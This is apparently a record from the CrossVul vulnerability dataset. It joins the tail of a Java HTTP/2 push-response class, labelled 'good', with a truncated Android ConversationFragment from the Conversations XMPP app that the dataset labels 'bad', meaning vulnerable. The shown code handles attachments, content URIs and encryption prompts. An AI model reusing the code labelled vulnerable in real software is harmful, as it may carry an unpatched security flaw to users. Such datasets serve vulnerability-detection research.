public HttpServerResponse push(HttpMethod method, String host, String path, Handler<AsyncResult<HttpServerResponse>> handler) {
return push(method, host, path, null, handler);
}
@Override
public HttpServerResponse push(HttpMethod method, String path, MultiMap headers, Handler<AsyncResult<HttpServerResponse>> handler) {
return push(method, null, path, headers, handler);
}
@Override
public HttpServerResponse push(HttpMethod method, String host, String path, MultiMap headers, Handler<AsyncResult<HttpServerResponse>> handler) {
synchronized (conn) {
if (push) {
throw new IllegalStateException("A push response cannot promise another push");
}
checkEnded();
conn.sendPush(stream.id(), host, method, headers, path, handler);
if (!inHandler) {
ctx.flush();
}
numPush++;
return this;
}
}
@Override
public HttpServerResponse push(HttpMethod method, String path, Handler<AsyncResult<HttpServerResponse>> handler) {
return push(method, host, path, handler);
}
}
|
./CrossVul/dataset_final_sorted/CWE-20/java/good_195_2
|
crossvul-java_data_bad_418_0
|
package eu.siacs.conversations.ui;
import android.Manifest;
import android.annotation.SuppressLint;
import android.app.Activity;
import android.app.FragmentManager;
import android.content.SharedPreferences;
import android.content.pm.PackageManager;
import android.databinding.DataBindingUtil;
import android.net.Uri;
import android.os.Build;
import android.preference.PreferenceManager;
import android.provider.MediaStore;
import android.support.annotation.IdRes;
import android.support.annotation.NonNull;
import android.support.annotation.StringRes;
import android.support.v7.app.AlertDialog;
import android.app.Fragment;
import android.app.PendingIntent;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.IntentSender.SendIntentException;
import android.os.Bundle;
import android.os.Handler;
import android.os.SystemClock;
import android.support.v13.view.inputmethod.InputConnectionCompat;
import android.support.v13.view.inputmethod.InputContentInfoCompat;
import android.text.Editable;
import android.util.Log;
import android.view.ContextMenu;
import android.view.ContextMenu.ContextMenuInfo;
import android.view.Gravity;
import android.view.LayoutInflater;
import android.view.Menu;
import android.view.MenuInflater;
import android.view.MenuItem;
import android.view.MotionEvent;
import android.view.View;
import android.view.View.OnClickListener;
import android.view.ViewGroup;
import android.view.inputmethod.EditorInfo;
import android.view.inputmethod.InputMethodManager;
import android.widget.AbsListView;
import android.widget.AbsListView.OnScrollListener;
import android.widget.AdapterView;
import android.widget.AdapterView.AdapterContextMenuInfo;
import android.widget.CheckBox;
import android.widget.ListView;
import android.widget.PopupMenu;
import android.widget.TextView.OnEditorActionListener;
import android.widget.Toast;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.HashSet;
import java.util.Iterator;
import java.util.List;
import java.util.Set;
import java.util.UUID;
import java.util.concurrent.atomic.AtomicBoolean;
import eu.siacs.conversations.Config;
import eu.siacs.conversations.R;
import eu.siacs.conversations.crypto.axolotl.AxolotlService;
import eu.siacs.conversations.crypto.axolotl.FingerprintStatus;
import eu.siacs.conversations.databinding.FragmentConversationBinding;
import eu.siacs.conversations.entities.Account;
import eu.siacs.conversations.entities.Blockable;
import eu.siacs.conversations.entities.Contact;
import eu.siacs.conversations.entities.Conversation;
import eu.siacs.conversations.entities.Conversational;
import eu.siacs.conversations.entities.DownloadableFile;
import eu.siacs.conversations.entities.Message;
import eu.siacs.conversations.entities.MucOptions;
import eu.siacs.conversations.entities.MucOptions.User;
import eu.siacs.conversations.entities.Presence;
import eu.siacs.conversations.entities.ReadByMarker;
import eu.siacs.conversations.entities.Transferable;
import eu.siacs.conversations.entities.TransferablePlaceholder;
import eu.siacs.conversations.http.HttpDownloadConnection;
import eu.siacs.conversations.persistance.FileBackend;
import eu.siacs.conversations.services.MessageArchiveService;
import eu.siacs.conversations.services.XmppConnectionService;
import eu.siacs.conversations.ui.adapter.MediaPreviewAdapter;
import eu.siacs.conversations.ui.adapter.MessageAdapter;
import eu.siacs.conversations.ui.util.ActivityResult;
import eu.siacs.conversations.ui.util.Attachment;
import eu.siacs.conversations.ui.util.ConversationMenuConfigurator;
import eu.siacs.conversations.ui.util.DateSeparator;
import eu.siacs.conversations.ui.util.EditMessageActionModeCallback;
import eu.siacs.conversations.ui.util.ListViewUtils;
import eu.siacs.conversations.ui.util.MenuDoubleTabUtil;
import eu.siacs.conversations.ui.util.MucDetailsContextMenuHelper;
import eu.siacs.conversations.ui.util.PendingItem;
import eu.siacs.conversations.ui.util.PresenceSelector;
import eu.siacs.conversations.ui.util.ScrollState;
import eu.siacs.conversations.ui.util.SendButtonAction;
import eu.siacs.conversations.ui.util.SendButtonTool;
import eu.siacs.conversations.ui.util.ShareUtil;
import eu.siacs.conversations.ui.widget.EditMessage;
import eu.siacs.conversations.utils.GeoHelper;
import eu.siacs.conversations.utils.MessageUtils;
import eu.siacs.conversations.utils.NickValidityChecker;
import eu.siacs.conversations.utils.Patterns;
import eu.siacs.conversations.utils.QuickLoader;
import eu.siacs.conversations.utils.StylingHelper;
import eu.siacs.conversations.utils.TimeframeUtils;
import eu.siacs.conversations.utils.UIHelper;
import eu.siacs.conversations.xmpp.XmppConnection;
import eu.siacs.conversations.xmpp.chatstate.ChatState;
import eu.siacs.conversations.xmpp.jingle.JingleConnection;
import rocks.xmpp.addr.Jid;
import static eu.siacs.conversations.ui.XmppActivity.EXTRA_ACCOUNT;
import static eu.siacs.conversations.ui.XmppActivity.REQUEST_INVITE_TO_CONVERSATION;
import static eu.siacs.conversations.ui.util.SoftKeyboardUtils.hideSoftKeyboard;
public class ConversationFragment extends XmppFragment implements EditMessage.KeyboardListener {
public static final int REQUEST_SEND_MESSAGE = 0x0201;
public static final int REQUEST_DECRYPT_PGP = 0x0202;
public static final int REQUEST_ENCRYPT_MESSAGE = 0x0207;
public static final int REQUEST_TRUST_KEYS_TEXT = 0x0208;
public static final int REQUEST_TRUST_KEYS_ATTACHMENTS = 0x0209;
public static final int REQUEST_START_DOWNLOAD = 0x0210;
public static final int REQUEST_ADD_EDITOR_CONTENT = 0x0211;
public static final int ATTACHMENT_CHOICE_CHOOSE_IMAGE = 0x0301;
public static final int ATTACHMENT_CHOICE_TAKE_PHOTO = 0x0302;
public static final int ATTACHMENT_CHOICE_CHOOSE_FILE = 0x0303;
public static final int ATTACHMENT_CHOICE_RECORD_VOICE = 0x0304;
public static final int ATTACHMENT_CHOICE_LOCATION = 0x0305;
public static final int ATTACHMENT_CHOICE_INVALID = 0x0306;
public static final int ATTACHMENT_CHOICE_RECORD_VIDEO = 0x0307;
public static final String RECENTLY_USED_QUICK_ACTION = "recently_used_quick_action";
public static final String STATE_CONVERSATION_UUID = ConversationFragment.class.getName() + ".uuid";
public static final String STATE_SCROLL_POSITION = ConversationFragment.class.getName() + ".scroll_position";
public static final String STATE_PHOTO_URI = ConversationFragment.class.getName() + ".media_previews";
public static final String STATE_MEDIA_PREVIEWS = ConversationFragment.class.getName() + ".take_photo_uri";
private static final String STATE_LAST_MESSAGE_UUID = "state_last_message_uuid";
private final List<Message> messageList = new ArrayList<>();
private final PendingItem<ActivityResult> postponedActivityResult = new PendingItem<>();
private final PendingItem<String> pendingConversationsUuid = new PendingItem<>();
private final PendingItem<ArrayList<Attachment>> pendingMediaPreviews = new PendingItem<>();
private final PendingItem<Bundle> pendingExtras = new PendingItem<>();
private final PendingItem<Uri> pendingTakePhotoUri = new PendingItem<>();
private final PendingItem<ScrollState> pendingScrollState = new PendingItem<>();
private final PendingItem<String> pendingLastMessageUuid = new PendingItem<>();
private final PendingItem<Message> pendingMessage = new PendingItem<>();
public Uri mPendingEditorContent = null;
protected MessageAdapter messageListAdapter;
private MediaPreviewAdapter mediaPreviewAdapter;
private String lastMessageUuid = null;
private Conversation conversation;
private FragmentConversationBinding binding;
private Toast messageLoaderToast;
private ConversationsActivity activity;
private boolean reInitRequiredOnStart = true;
private OnClickListener clickToMuc = new OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent(getActivity(), ConferenceDetailsActivity.class);
intent.setAction(ConferenceDetailsActivity.ACTION_VIEW_MUC);
intent.putExtra("uuid", conversation.getUuid());
startActivity(intent);
}
};
private OnClickListener leaveMuc = new OnClickListener() {
@Override
public void onClick(View v) {
activity.xmppConnectionService.archiveConversation(conversation);
}
};
private OnClickListener joinMuc = new OnClickListener() {
@Override
public void onClick(View v) {
activity.xmppConnectionService.joinMuc(conversation);
}
};
private OnClickListener enterPassword = new OnClickListener() {
@Override
public void onClick(View v) {
MucOptions muc = conversation.getMucOptions();
String password = muc.getPassword();
if (password == null) {
password = "";
}
activity.quickPasswordEdit(password, value -> {
activity.xmppConnectionService.providePasswordForMuc(conversation, value);
return null;
});
}
};
private OnScrollListener mOnScrollListener = new OnScrollListener() {
@Override
public void onScrollStateChanged(AbsListView view, int scrollState) {
if (AbsListView.OnScrollListener.SCROLL_STATE_IDLE == scrollState) {
fireReadEvent();
}
}
@Override
public void onScroll(final AbsListView view, int firstVisibleItem, int visibleItemCount, int totalItemCount) {
toggleScrollDownButton(view);
synchronized (ConversationFragment.this.messageList) {
if (firstVisibleItem < 5 && conversation != null && conversation.messagesLoaded.compareAndSet(true, false) && messageList.size() > 0) {
long timestamp;
if (messageList.get(0).getType() == Message.TYPE_STATUS && messageList.size() >= 2) {
timestamp = messageList.get(1).getTimeSent();
} else {
timestamp = messageList.get(0).getTimeSent();
}
activity.xmppConnectionService.loadMoreMessages(conversation, timestamp, new XmppConnectionService.OnMoreMessagesLoaded() {
@Override
public void onMoreMessagesLoaded(final int c, final Conversation conversation) {
if (ConversationFragment.this.conversation != conversation) {
conversation.messagesLoaded.set(true);
return;
}
runOnUiThread(() -> {
synchronized (messageList) {
final int oldPosition = binding.messagesView.getFirstVisiblePosition();
Message message = null;
int childPos;
for (childPos = 0; childPos + oldPosition < messageList.size(); ++childPos) {
message = messageList.get(oldPosition + childPos);
if (message.getType() != Message.TYPE_STATUS) {
break;
}
}
final String uuid = message != null ? message.getUuid() : null;
View v = binding.messagesView.getChildAt(childPos);
final int pxOffset = (v == null) ? 0 : v.getTop();
ConversationFragment.this.conversation.populateWithMessages(ConversationFragment.this.messageList);
try {
updateStatusMessages();
} catch (IllegalStateException e) {
Log.d(Config.LOGTAG, "caught illegal state exception while updating status messages");
}
messageListAdapter.notifyDataSetChanged();
int pos = Math.max(getIndexOf(uuid, messageList), 0);
binding.messagesView.setSelectionFromTop(pos, pxOffset);
if (messageLoaderToast != null) {
messageLoaderToast.cancel();
}
conversation.messagesLoaded.set(true);
}
});
}
@Override
public void informUser(final int resId) {
runOnUiThread(() -> {
if (messageLoaderToast != null) {
messageLoaderToast.cancel();
}
if (ConversationFragment.this.conversation != conversation) {
return;
}
messageLoaderToast = Toast.makeText(view.getContext(), resId, Toast.LENGTH_LONG);
messageLoaderToast.show();
});
}
});
}
}
}
};
private EditMessage.OnCommitContentListener mEditorContentListener = new EditMessage.OnCommitContentListener() {
@Override
public boolean onCommitContent(InputContentInfoCompat inputContentInfo, int flags, Bundle opts, String[] contentMimeTypes) {
// try to get permission to read the image, if applicable
if ((flags & InputConnectionCompat.INPUT_CONTENT_GRANT_READ_URI_PERMISSION) != 0) {
try {
inputContentInfo.requestPermission();
} catch (Exception e) {
Log.e(Config.LOGTAG, "InputContentInfoCompat#requestPermission() failed.", e);
Toast.makeText(getActivity(), activity.getString(R.string.no_permission_to_access_x, inputContentInfo.getDescription()), Toast.LENGTH_LONG
).show();
return false;
}
}
if (hasPermissions(REQUEST_ADD_EDITOR_CONTENT, Manifest.permission.WRITE_EXTERNAL_STORAGE)) {
attachEditorContentToConversation(inputContentInfo.getContentUri());
} else {
mPendingEditorContent = inputContentInfo.getContentUri();
}
return true;
}
};
private Message selectedMessage;
private OnClickListener mEnableAccountListener = new OnClickListener() {
@Override
public void onClick(View v) {
final Account account = conversation == null ? null : conversation.getAccount();
if (account != null) {
account.setOption(Account.OPTION_DISABLED, false);
activity.xmppConnectionService.updateAccount(account);
}
}
};
private OnClickListener mUnblockClickListener = new OnClickListener() {
@Override
public void onClick(final View v) {
v.post(() -> v.setVisibility(View.INVISIBLE));
if (conversation.isDomainBlocked()) {
BlockContactDialog.show(activity, conversation);
} else {
unblockConversation(conversation);
}
}
};
private OnClickListener mBlockClickListener = this::showBlockSubmenu;
private OnClickListener mAddBackClickListener = new OnClickListener() {
@Override
public void onClick(View v) {
final Contact contact = conversation == null ? null : conversation.getContact();
if (contact != null) {
activity.xmppConnectionService.createContact(contact, true);
activity.switchToContactDetails(contact);
}
}
};
private View.OnLongClickListener mLongPressBlockListener = this::showBlockSubmenu;
private OnClickListener mAllowPresenceSubscription = new OnClickListener() {
@Override
public void onClick(View v) {
final Contact contact = conversation == null ? null : conversation.getContact();
if (contact != null) {
activity.xmppConnectionService.sendPresencePacket(contact.getAccount(),
activity.xmppConnectionService.getPresenceGenerator()
.sendPresenceUpdatesTo(contact));
hideSnackbar();
}
}
};
protected OnClickListener clickToDecryptListener = new OnClickListener() {
@Override
public void onClick(View v) {
PendingIntent pendingIntent = conversation.getAccount().getPgpDecryptionService().getPendingIntent();
if (pendingIntent != null) {
try {
getActivity().startIntentSenderForResult(pendingIntent.getIntentSender(),
REQUEST_DECRYPT_PGP,
null,
0,
0,
0);
} catch (SendIntentException e) {
Toast.makeText(getActivity(), R.string.unable_to_connect_to_keychain, Toast.LENGTH_SHORT).show();
conversation.getAccount().getPgpDecryptionService().continueDecryption(true);
}
}
updateSnackBar(conversation);
}
};
private AtomicBoolean mSendingPgpMessage = new AtomicBoolean(false);
private OnEditorActionListener mEditorActionListener = (v, actionId, event) -> {
if (actionId == EditorInfo.IME_ACTION_SEND) {
InputMethodManager imm = (InputMethodManager) activity.getSystemService(Context.INPUT_METHOD_SERVICE);
if (imm != null && imm.isFullscreenMode()) {
imm.hideSoftInputFromWindow(v.getWindowToken(), 0);
}
sendMessage();
return true;
} else {
return false;
}
};
private OnClickListener mScrollButtonListener = new OnClickListener() {
@Override
public void onClick(View v) {
stopScrolling();
setSelection(binding.messagesView.getCount() - 1, true);
}
};
private OnClickListener mSendButtonListener = new OnClickListener() {
@Override
public void onClick(View v) {
Object tag = v.getTag();
if (tag instanceof SendButtonAction) {
SendButtonAction action = (SendButtonAction) tag;
switch (action) {
case TAKE_PHOTO:
case RECORD_VIDEO:
case SEND_LOCATION:
case RECORD_VOICE:
case CHOOSE_PICTURE:
attachFile(action.toChoice());
break;
case CANCEL:
if (conversation != null) {
if (conversation.setCorrectingMessage(null)) {
binding.textinput.setText("");
binding.textinput.append(conversation.getDraftMessage());
conversation.setDraftMessage(null);
} else if (conversation.getMode() == Conversation.MODE_MULTI) {
conversation.setNextCounterpart(null);
}
updateChatMsgHint();
updateSendButton();
updateEditablity();
}
break;
default:
sendMessage();
}
} else {
sendMessage();
}
}
};
private int completionIndex = 0;
private int lastCompletionLength = 0;
private String incomplete;
private int lastCompletionCursor;
private boolean firstWord = false;
private Message mPendingDownloadableMessage;
private static ConversationFragment findConversationFragment(Activity activity) {
Fragment fragment = activity.getFragmentManager().findFragmentById(R.id.main_fragment);
if (fragment != null && fragment instanceof ConversationFragment) {
return (ConversationFragment) fragment;
}
fragment = activity.getFragmentManager().findFragmentById(R.id.secondary_fragment);
if (fragment != null && fragment instanceof ConversationFragment) {
return (ConversationFragment) fragment;
}
return null;
}
public static void startStopPending(Activity activity) {
ConversationFragment fragment = findConversationFragment(activity);
if (fragment != null) {
fragment.messageListAdapter.startStopPending();
}
}
public static void downloadFile(Activity activity, Message message) {
ConversationFragment fragment = findConversationFragment(activity);
if (fragment != null) {
fragment.startDownloadable(message);
}
}
public static void registerPendingMessage(Activity activity, Message message) {
ConversationFragment fragment = findConversationFragment(activity);
if (fragment != null) {
fragment.pendingMessage.push(message);
}
}
public static void openPendingMessage(Activity activity) {
ConversationFragment fragment = findConversationFragment(activity);
if (fragment != null) {
Message message = fragment.pendingMessage.pop();
if (message != null) {
fragment.messageListAdapter.openDownloadable(message);
}
}
}
public static Conversation getConversation(Activity activity) {
return getConversation(activity, R.id.secondary_fragment);
}
private static Conversation getConversation(Activity activity, @IdRes int res) {
final Fragment fragment = activity.getFragmentManager().findFragmentById(res);
if (fragment != null && fragment instanceof ConversationFragment) {
return ((ConversationFragment) fragment).getConversation();
} else {
return null;
}
}
public static ConversationFragment get(Activity activity) {
FragmentManager fragmentManager = activity.getFragmentManager();
Fragment fragment = fragmentManager.findFragmentById(R.id.main_fragment);
if (fragment != null && fragment instanceof ConversationFragment) {
return (ConversationFragment) fragment;
} else {
fragment = fragmentManager.findFragmentById(R.id.secondary_fragment);
return fragment != null && fragment instanceof ConversationFragment ? (ConversationFragment) fragment : null;
}
}
public static Conversation getConversationReliable(Activity activity) {
final Conversation conversation = getConversation(activity, R.id.secondary_fragment);
if (conversation != null) {
return conversation;
}
return getConversation(activity, R.id.main_fragment);
}
private static boolean allGranted(int[] grantResults) {
for (int grantResult : grantResults) {
if (grantResult != PackageManager.PERMISSION_GRANTED) {
return false;
}
}
return true;
}
private static boolean writeGranted(int[] grantResults, String[] permission) {
for (int i = 0; i < grantResults.length; ++i) {
if (Manifest.permission.WRITE_EXTERNAL_STORAGE.equals(permission[i])) {
return grantResults[i] == PackageManager.PERMISSION_GRANTED;
}
}
return false;
}
private static String getFirstDenied(int[] grantResults, String[] permissions) {
for (int i = 0; i < grantResults.length; ++i) {
if (grantResults[i] == PackageManager.PERMISSION_DENIED) {
return permissions[i];
}
}
return null;
}
private static boolean scrolledToBottom(AbsListView listView) {
final int count = listView.getCount();
if (count == 0) {
return true;
} else if (listView.getLastVisiblePosition() == count - 1) {
final View lastChild = listView.getChildAt(listView.getChildCount() - 1);
return lastChild != null && lastChild.getBottom() <= listView.getHeight();
} else {
return false;
}
}
private void toggleScrollDownButton() {
toggleScrollDownButton(binding.messagesView);
}
private void toggleScrollDownButton(AbsListView listView) {
if (conversation == null) {
return;
}
if (scrolledToBottom(listView)) {
lastMessageUuid = null;
hideUnreadMessagesCount();
} else {
binding.scrollToBottomButton.setEnabled(true);
binding.scrollToBottomButton.show();
if (lastMessageUuid == null) {
lastMessageUuid = conversation.getLatestMessage().getUuid();
}
if (conversation.getReceivedMessagesCountSinceUuid(lastMessageUuid) > 0) {
binding.unreadCountCustomView.setVisibility(View.VISIBLE);
}
}
}
private int getIndexOf(String uuid, List<Message> messages) {
if (uuid == null) {
return messages.size() - 1;
}
for (int i = 0; i < messages.size(); ++i) {
if (uuid.equals(messages.get(i).getUuid())) {
return i;
} else {
Message next = messages.get(i);
while (next != null && next.wasMergedIntoPrevious()) {
if (uuid.equals(next.getUuid())) {
return i;
}
next = next.next();
}
}
}
return -1;
}
private ScrollState getScrollPosition() {
final ListView listView = this.binding.messagesView;
if (listView.getCount() == 0 || listView.getLastVisiblePosition() == listView.getCount() - 1) {
return null;
} else {
final int pos = listView.getFirstVisiblePosition();
final View view = listView.getChildAt(0);
if (view == null) {
return null;
} else {
return new ScrollState(pos, view.getTop());
}
}
}
private void setScrollPosition(ScrollState scrollPosition, String lastMessageUuid) {
if (scrollPosition != null) {
this.lastMessageUuid = lastMessageUuid;
if (lastMessageUuid != null) {
binding.unreadCountCustomView.setUnreadCount(conversation.getReceivedMessagesCountSinceUuid(lastMessageUuid));
}
//TODO maybe this needs a 'post'
this.binding.messagesView.setSelectionFromTop(scrollPosition.position, scrollPosition.offset);
toggleScrollDownButton();
}
}
private void attachLocationToConversation(Conversation conversation, Uri uri) {
if (conversation == null) {
return;
}
activity.xmppConnectionService.attachLocationToConversation(conversation, uri, new UiCallback<Message>() {
@Override
public void success(Message message) {
}
@Override
public void error(int errorCode, Message object) {
//TODO show possible pgp error
}
@Override
public void userInputRequried(PendingIntent pi, Message object) {
}
});
}
private void attachFileToConversation(Conversation conversation, Uri uri, String type) {
if (conversation == null) {
return;
}
final Toast prepareFileToast = Toast.makeText(getActivity(), getText(R.string.preparing_file), Toast.LENGTH_LONG);
prepareFileToast.show();
activity.delegateUriPermissionsToService(uri);
activity.xmppConnectionService.attachFileToConversation(conversation, uri, type, new UiInformableCallback<Message>() {
@Override
public void inform(final String text) {
hidePrepareFileToast(prepareFileToast);
runOnUiThread(() -> activity.replaceToast(text));
}
@Override
public void success(Message message) {
runOnUiThread(() -> activity.hideToast());
hidePrepareFileToast(prepareFileToast);
}
@Override
public void error(final int errorCode, Message message) {
hidePrepareFileToast(prepareFileToast);
runOnUiThread(() -> activity.replaceToast(getString(errorCode)));
}
@Override
public void userInputRequried(PendingIntent pi, Message message) {
hidePrepareFileToast(prepareFileToast);
}
});
}
public void attachEditorContentToConversation(Uri uri) {
mediaPreviewAdapter.addMediaPreviews(Attachment.of(getActivity(), uri, Attachment.Type.FILE));
toggleInputMethod();
}
private void attachImageToConversation(Conversation conversation, Uri uri) {
if (conversation == null) {
return;
}
final Toast prepareFileToast = Toast.makeText(getActivity(), getText(R.string.preparing_image), Toast.LENGTH_LONG);
prepareFileToast.show();
activity.delegateUriPermissionsToService(uri);
activity.xmppConnectionService.attachImageToConversation(conversation, uri,
new UiCallback<Message>() {
@Override
public void userInputRequried(PendingIntent pi, Message object) {
hidePrepareFileToast(prepareFileToast);
}
@Override
public void success(Message message) {
hidePrepareFileToast(prepareFileToast);
}
@Override
public void error(final int error, Message message) {
hidePrepareFileToast(prepareFileToast);
activity.runOnUiThread(() -> activity.replaceToast(getString(error)));
}
});
}
private void hidePrepareFileToast(final Toast prepareFileToast) {
if (prepareFileToast != null && activity != null) {
activity.runOnUiThread(prepareFileToast::cancel);
}
}
private void sendMessage() {
if (mediaPreviewAdapter.hasAttachments()) {
commitAttachments();
return;
}
final Editable text = this.binding.textinput.getText();
final String body = text == null ? "" : text.toString();
final Conversation conversation = this.conversation;
if (body.length() == 0 || conversation == null) {
return;
}
if (conversation.getNextEncryption() == Message.ENCRYPTION_AXOLOTL && trustKeysIfNeeded(REQUEST_TRUST_KEYS_TEXT)) {
return;
}
final Message message;
if (conversation.getCorrectingMessage() == null) {
message = new Message(conversation, body, conversation.getNextEncryption());
if (conversation.getMode() == Conversation.MODE_MULTI) {
final Jid nextCounterpart = conversation.getNextCounterpart();
if (nextCounterpart != null) {
message.setCounterpart(nextCounterpart);
message.setTrueCounterpart(conversation.getMucOptions().getTrueCounterpart(nextCounterpart));
message.setType(Message.TYPE_PRIVATE);
}
}
} else {
message = conversation.getCorrectingMessage();
message.setBody(body);
message.setEdited(message.getUuid());
message.setUuid(UUID.randomUUID().toString());
}
switch (conversation.getNextEncryption()) {
case Message.ENCRYPTION_PGP:
sendPgpMessage(message);
break;
default:
sendMessage(message);
}
}
protected boolean trustKeysIfNeeded(int requestCode) {
AxolotlService axolotlService = conversation.getAccount().getAxolotlService();
final List<Jid> targets = axolotlService.getCryptoTargets(conversation);
boolean hasUnaccepted = !conversation.getAcceptedCryptoTargets().containsAll(targets);
boolean hasUndecidedOwn = !axolotlService.getKeysWithTrust(FingerprintStatus.createActiveUndecided()).isEmpty();
boolean hasUndecidedContacts = !axolotlService.getKeysWithTrust(FingerprintStatus.createActiveUndecided(), targets).isEmpty();
boolean hasPendingKeys = !axolotlService.findDevicesWithoutSession(conversation).isEmpty();
boolean hasNoTrustedKeys = axolotlService.anyTargetHasNoTrustedKeys(targets);
boolean downloadInProgress = axolotlService.hasPendingKeyFetches(targets);
if (hasUndecidedOwn || hasUndecidedContacts || hasPendingKeys || hasNoTrustedKeys || hasUnaccepted || downloadInProgress) {
axolotlService.createSessionsIfNeeded(conversation);
Intent intent = new Intent(getActivity(), TrustKeysActivity.class);
String[] contacts = new String[targets.size()];
for (int i = 0; i < contacts.length; ++i) {
contacts[i] = targets.get(i).toString();
}
intent.putExtra("contacts", contacts);
intent.putExtra(EXTRA_ACCOUNT, conversation.getAccount().getJid().asBareJid().toString());
intent.putExtra("conversation", conversation.getUuid());
startActivityForResult(intent, requestCode);
return true;
} else {
return false;
}
}
public void updateChatMsgHint() {
final boolean multi = conversation.getMode() == Conversation.MODE_MULTI;
if (conversation.getCorrectingMessage() != null) {
this.binding.textinput.setHint(R.string.send_corrected_message);
} else if (multi && conversation.getNextCounterpart() != null) {
this.binding.textinput.setHint(getString(
R.string.send_private_message_to,
conversation.getNextCounterpart().getResource()));
} else if (multi && !conversation.getMucOptions().participating()) {
this.binding.textinput.setHint(R.string.you_are_not_participating);
} else {
this.binding.textinput.setHint(UIHelper.getMessageHint(getActivity(), conversation));
getActivity().invalidateOptionsMenu();
}
}
public void setupIme() {
this.binding.textinput.refreshIme();
}
private void handleActivityResult(ActivityResult activityResult) {
if (activityResult.resultCode == Activity.RESULT_OK) {
handlePositiveActivityResult(activityResult.requestCode, activityResult.data);
} else {
handleNegativeActivityResult(activityResult.requestCode);
}
}
private void handlePositiveActivityResult(int requestCode, final Intent data) {
switch (requestCode) {
case REQUEST_TRUST_KEYS_TEXT:
sendMessage();
break;
case REQUEST_TRUST_KEYS_ATTACHMENTS:
commitAttachments();
break;
case ATTACHMENT_CHOICE_CHOOSE_IMAGE:
final List<Attachment> imageUris = Attachment.extractAttachments(getActivity(), data, Attachment.Type.IMAGE);
mediaPreviewAdapter.addMediaPreviews(imageUris);
toggleInputMethod();
break;
case ATTACHMENT_CHOICE_TAKE_PHOTO:
final Uri takePhotoUri = pendingTakePhotoUri.pop();
if (takePhotoUri != null) {
mediaPreviewAdapter.addMediaPreviews(Attachment.of(getActivity(), takePhotoUri, Attachment.Type.IMAGE));
toggleInputMethod();
} else {
Log.d(Config.LOGTAG, "lost take photo uri. unable to to attach");
}
break;
case ATTACHMENT_CHOICE_CHOOSE_FILE:
case ATTACHMENT_CHOICE_RECORD_VIDEO:
case ATTACHMENT_CHOICE_RECORD_VOICE:
final Attachment.Type type = requestCode == ATTACHMENT_CHOICE_RECORD_VOICE ? Attachment.Type.RECORDING : Attachment.Type.FILE;
final List<Attachment> fileUris = Attachment.extractAttachments(getActivity(), data, type);
mediaPreviewAdapter.addMediaPreviews(fileUris);
toggleInputMethod();
break;
case ATTACHMENT_CHOICE_LOCATION:
double latitude = data.getDoubleExtra("latitude", 0);
double longitude = data.getDoubleExtra("longitude", 0);
Uri geo = Uri.parse("geo:" + String.valueOf(latitude) + "," + String.valueOf(longitude));
mediaPreviewAdapter.addMediaPreviews(Attachment.of(getActivity(), geo, Attachment.Type.LOCATION));
toggleInputMethod();
break;
case REQUEST_INVITE_TO_CONVERSATION:
XmppActivity.ConferenceInvite invite = XmppActivity.ConferenceInvite.parse(data);
if (invite != null) {
if (invite.execute(activity)) {
activity.mToast = Toast.makeText(activity, R.string.creating_conference, Toast.LENGTH_LONG);
activity.mToast.show();
}
}
break;
}
}
private void commitAttachments() {
if (conversation.getNextEncryption() == Message.ENCRYPTION_AXOLOTL && trustKeysIfNeeded(REQUEST_TRUST_KEYS_ATTACHMENTS)) {
return;
}
final List<Attachment> attachments = mediaPreviewAdapter.getAttachments();
final PresenceSelector.OnPresenceSelected callback = () -> {
for (Iterator<Attachment> i = attachments.iterator(); i.hasNext(); i.remove()) {
final Attachment attachment = i.next();
if (attachment.getType() == Attachment.Type.LOCATION) {
attachLocationToConversation(conversation, attachment.getUri());
} else if (attachment.getType() == Attachment.Type.IMAGE) {
Log.d(Config.LOGTAG, "ConversationsActivity.commitAttachments() - attaching image to conversations. CHOOSE_IMAGE");
attachImageToConversation(conversation, attachment.getUri());
} else {
Log.d(Config.LOGTAG, "ConversationsActivity.commitAttachments() - attaching file to conversations. CHOOSE_FILE/RECORD_VOICE/RECORD_VIDEO");
attachFileToConversation(conversation, attachment.getUri(), attachment.getMime());
}
}
mediaPreviewAdapter.notifyDataSetChanged();
toggleInputMethod();
};
if (conversation == null || conversation.getMode() == Conversation.MODE_MULTI || FileBackend.allFilesUnderSize(getActivity(), attachments, getMaxHttpUploadSize(conversation))) {
callback.onPresenceSelected();
} else {
activity.selectPresence(conversation, callback);
}
}
public void toggleInputMethod() {
boolean hasAttachments = mediaPreviewAdapter.hasAttachments();
binding.textinput.setVisibility(hasAttachments ? View.GONE : View.VISIBLE);
binding.mediaPreview.setVisibility(hasAttachments ? View.VISIBLE : View.GONE);
updateSendButton();
}
private void handleNegativeActivityResult(int requestCode) {
switch (requestCode) {
case ATTACHMENT_CHOICE_TAKE_PHOTO:
if (pendingTakePhotoUri.clear()) {
Log.d(Config.LOGTAG, "cleared pending photo uri after negative activity result");
}
break;
}
}
@Override
public void onActivityResult(int requestCode, int resultCode, final Intent data) {
super.onActivityResult(requestCode, resultCode, data);
ActivityResult activityResult = ActivityResult.of(requestCode, resultCode, data);
if (activity != null && activity.xmppConnectionService != null) {
handleActivityResult(activityResult);
} else {
this.postponedActivityResult.push(activityResult);
}
}
public void unblockConversation(final Blockable conversation) {
activity.xmppConnectionService.sendUnblockRequest(conversation);
}
@Override
public void onAttach(Activity activity) {
super.onAttach(activity);
Log.d(Config.LOGTAG, "ConversationFragment.onAttach()");
if (activity instanceof ConversationsActivity) {
this.activity = (ConversationsActivity) activity;
} else {
throw new IllegalStateException("Trying to attach fragment to activity that is not the ConversationsActivity");
}
}
@Override
public void onDetach() {
super.onDetach();
this.activity = null; //TODO maybe not a good idea since some callbacks really need it
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setHasOptionsMenu(true);
}
@Override
public void onCreateOptionsMenu(Menu menu, MenuInflater menuInflater) {
menuInflater.inflate(R.menu.fragment_conversation, menu);
final MenuItem menuMucDetails = menu.findItem(R.id.action_muc_details);
final MenuItem menuContactDetails = menu.findItem(R.id.action_contact_details);
final MenuItem menuInviteContact = menu.findItem(R.id.action_invite);
final MenuItem menuMute = menu.findItem(R.id.action_mute);
final MenuItem menuUnmute = menu.findItem(R.id.action_unmute);
if (conversation != null) {
if (conversation.getMode() == Conversation.MODE_MULTI) {
menuContactDetails.setVisible(false);
menuInviteContact.setVisible(conversation.getMucOptions().canInvite());
} else {
menuContactDetails.setVisible(!this.conversation.withSelf());
menuMucDetails.setVisible(false);
final XmppConnectionService service = activity.xmppConnectionService;
